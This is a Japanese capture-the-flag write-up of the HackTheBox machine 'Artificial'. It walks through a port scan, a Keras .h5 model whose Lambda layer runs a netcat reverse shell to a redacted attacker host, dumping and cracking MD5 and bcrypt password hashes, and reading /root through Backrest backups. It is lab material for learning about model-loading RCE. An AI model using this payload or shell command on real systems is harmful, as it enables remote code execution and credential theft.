はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Artificialです。
Artificialでは、AIモデルの脆弱性やBackrestについて学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 23:30 JST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.15 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
Artificialは、AIモデルの構築、テスト及びデプロイメントを提供するプラットフォームです。
アカウントを作成してログイン後、ダッシュボード画面に遷移します。
ダッシュボード画面の説明よりAIモデルをアップロードできることが分かります。従ってアップロード機能を悪用することで、足場を作ることができると考えられます。
脆弱性分析
AIモデルの脆弱性について調べたところ、Kerasのkeras.models.load_modelメソッドはsafe_mode=Trueの設定でも、任意のコード実行に悪用される可能性があることが分かりました。
足場を作るためには、ペイロードを仕込んだAIモデルを用意します。
AIモデルのデプロイを行うにあたり以下サンプルのDockerfileが用意されていましたが、ビルドできませんでした。
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
Dockerfileを以下のように修正後、ビルドできました。
FROM python:3.8
WORKDIR /code
RUN apt-get update && apt-get install -y \
build-essential \
curl \
libopenblas-dev \
liblapack-dev \
libhdf5-dev \
libffi-dev \
libbz2-dev \
liblzma-dev \
libzstd-dev \
&& apt-get clean
RUN pip install --upgrade pip setuptools wheel
RUN pip install tensorflow==2.13.1
ENTRYPOINT ["/bin/bash"]
ビルドを行う際は、以下の様なコマンドを実行します。
$ docker build -t py-tf-image .
ビルド完了後、コンテナを起動してログインします。
$ docker run -d -it --name tfcontainer py-tf-image
$ docker exec -it tfcontainer /bin/bash
コンテナにログイン後、以下のコードを用意して実行します。
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc [REDACTED] 4444>/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
カレントディレクトリにexploit.h5ファイルが生成されるため、コンテナからローカルにコピーします。
$ docker cp tfcontainer:/code/exploit.h5 ./
システムハッキング
上記で作成したAIモデルを用いて、足場を作ります。
アクセスの獲得
リスナーを事前に用意した状態で、作成したAIモデルをアップロードします。
アップロード後「View Predictions」のボタンを押します。
リバースシェルが取得できます。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.74] 53208
/bin/sh: 0: can't access tty; job control turned off
$
ユーザーフラグ
カレントディレクトリである/home/app/appディレクトリ配下を確認します。
total 28
-rw-rw-r-- 1 app app 7846 Jun 9 13:54 app.py
drwxr-xr-x 2 app app 4096 Jul 10 11:40 instance
drwxrwxr-x 2 app app 4096 Jul 10 11:40 models
drwxr-xr-x 2 app app 4096 Jun 9 13:55 __pycache__
drwxrwxr-x 4 app app 4096 Jun 9 13:57 static
drwxrwxr-x 2 app app 4096 Jun 18 13:21 templates
instanceディレクトリより、興味深いusers.dbファイルを発見しました。
total 24
-rw-r--r-- 1 app app 24576 Jul 10 11:43 users.db
sqlite3を実行して、テーブルの中身を確認すると、userテーブルの存在が確認できます。
$ sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
model user
userテーブルにアクセスして、gaelユーザのパスワードを控えます。
sqlite> .header on
sqlite> .mode column
sqlite>
sqlite> select * from user;
id username email password
---------- ---------- ------------------- --------------------------------
1 gael gael@artificial.htb [REDACTED]
2 mark mark@artificial.htb 0f3d8c76530022670f1c6029eed09ccb
3 robert robert@artificial.h b606c5f5136170f15444251665638b36
4 royer royer@artificial.ht bc25b1f80f544c0ab451c02a3dca9fc6
5 mary mary@artificial.htb bf041041e57f1aff3be7ea1abd6129d0
6 thor thor@gmail.com 575e22bc356137a41abdef379b776dba
7 try try@try.com 81dc9bdb52d04dc20036dbd8313ed055
8 anon anon@wp.pl 068f01f2e4285e6cd2afb2186b98a1bd
9 dbtest dbtest@gmail.com 9d2265a28e6689894389626aa6368221
10 tester gavece2893@fenexy.c e09c381c48c07422390798d737289862
11 robo robo@gmail.com 6d67f24e6f2cff6ed5b0495fab78618a
12 admin'-- test@test.com 482c811da5d5b4bc6d497ffa98491e38
13 testuser12 malicious@evil.com< 482c811da5d5b4bc6d497ffa98491e38
14 ../../../e pathtest@test.com 482c811da5d5b4bc6d497ffa98491e38
15 test123 test123@gmail.com 098f6bcd4621d373cade4e832627b4f6
16 pepe pepe@pepe.com 926e27eecdbc7a18858b3798ba99bddd
17 hola'OR1=1 hola@gmail.com 098f6bcd4621d373cade4e832627b4f6
18 normaluser test$(sleep 5)@test 482c811da5d5b4bc6d497ffa98491e38
19 pene'OR1=1 pene@gmail.com 098f6bcd4621d373cade4e832627b4f6
20 admin admin@artificial.ht 66f844302f1f1a81193197fdcdcb02ba
21 mariopene mariopene@gmail.com 098f6bcd4621d373cade4e832627b4f6
22 hello hello123@gmail.com 5d41402abc4b2a76b9719d911017c592
23 Panos panagiotiskalargyro f7ec44ee0497982c504d7c155a824a9f
24 testuser test@artificial.htb 3829bfb98b47b14acc4e7f09e7ebe291
25 trinity_te trinity_test_001@ar 482c811da5d5b4bc6d497ffa98491e38
26 dark dark@gmail.com a82fd95db10ff25dfad39f07372ebe37
27 pablo pablo@mail.com 7e4b64eb65e34fdfad79e623c44abd94
28 user1 user1@user.com d8578edf8458ce06fbc5bb76a58c5ca4
29 test test@abc.com 098f6bcd4621d373cade4e832627b4f6
30 hackthebox test@mail.com 098f6bcd4621d373cade4e832627b4f6
取得したパスワードはMD5でハッシュ化されているため、CrackSstationで解析します。
取得した認証情報を用いてログインすると、ユーザフラグが確認できます。
$ ssh gael@10.10.11.74
total 36
drwxr-x--- 4 gael gael 4096 Jul 10 10:04 ./
drwxr-xr-x 4 root root 4096 Jun 18 13:19 ../
lrwxrwxrwx 1 root root 9 Oct 19 2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gael gael 3771 Feb 25 2020 .bashrc
drwx------ 2 gael gael 4096 Sep 7 2024 .cache/
-rw-r--r-- 1 gael gael 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Oct 19 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Oct 19 2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4096 Sep 7 2024 .ssh/
-rw-r----- 1 root gael 33 Jul 10 04:02 user.txt
-rw------- 1 gael gael 112 Jul 10 10:04 .Xauthority
ルートフラグ
ローカルでリッスンしているポートより9898番ポートに注目します。
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
SSHポートフォワーディングを実行してアクセスすると、Backrestのログイン画面が表示されます。
Backrestは、restic上に構築されたWebアクセス可能なバックアップソリューションです。
ログインするための認証情報を調査したところ、/var/backupsディレクトリでbackrest_backup.tar.gzファイルを発見しました。
total 51964
-rw-r--r-- 1 root root 51200 Jul 10 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 38602 Jun 9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root 4253 Jun 9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root 4206 Jun 2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root 4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root 4383 Oct 27 2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root 4379 Oct 19 2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root 4367 Oct 14 2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
-rw-r--r-- 1 root root 268 Sep 5 2024 dpkg.diversions.0
-rw-r--r-- 1 root root 135 Sep 14 2024 dpkg.statoverride.0
-rw-r--r-- 1 root root 696841 Jun 9 10:48 dpkg.status.0
ローカルにコピーして中身を確認したところ、_backrest_backup.tar.gz.extracted/backrest/.config/backrest/ディレクトリより、config.jsonファイルが見つかりました。
合計 12
drwxr-xr-x 2 kali kali 4096 3æ 5 07:17 .
drwxr-xr-x 3 kali kali 4096 3æ 4 06:27 ..
-rw------- 1 kali kali 280 3æ 5 07:17 config.json
config.jsonファイルを開くと、認証情報が確認できます。
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "REDACTED"
}
]
}
}
パスワードエンコードされているため、bcrypt形式に変換してからJohn the Ripperで解析します。
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt -format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (?)
1g 0:00:00:12 DONE (2025-07-10 22:49) 0.08116g/s 438.3p/s 438.3c/s 438.3C/s techno..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
解析したパスワードを使用してログインします。
リポジトリを作成します。
作成したリポジトリを選択します。
help画面よりコマンドが確認できます。
以下のコマンドを実行して、/rootディレクトリのバックアップを取得します。
バックアップ処理が開始されます。
snapshotのIDを確認します。
取得したsnapshotのIDを指定して、dumpを実行すると、ルートフラグが確認できます。
おわりに
悪意のあるLambdaレイヤーをモデルに埋め込むことができるRCEのリスクについて学びました。
Kerasのkeras.models.load_modelメソッドを使用して、レガシーフォーマットである.h5またはHDF5形式のモデルを読み込む場合、safe_mode=Trueの設定は警告やエラーなしに無視されます。
なお、この脆弱性はKeras 3.11.3で修正されています。













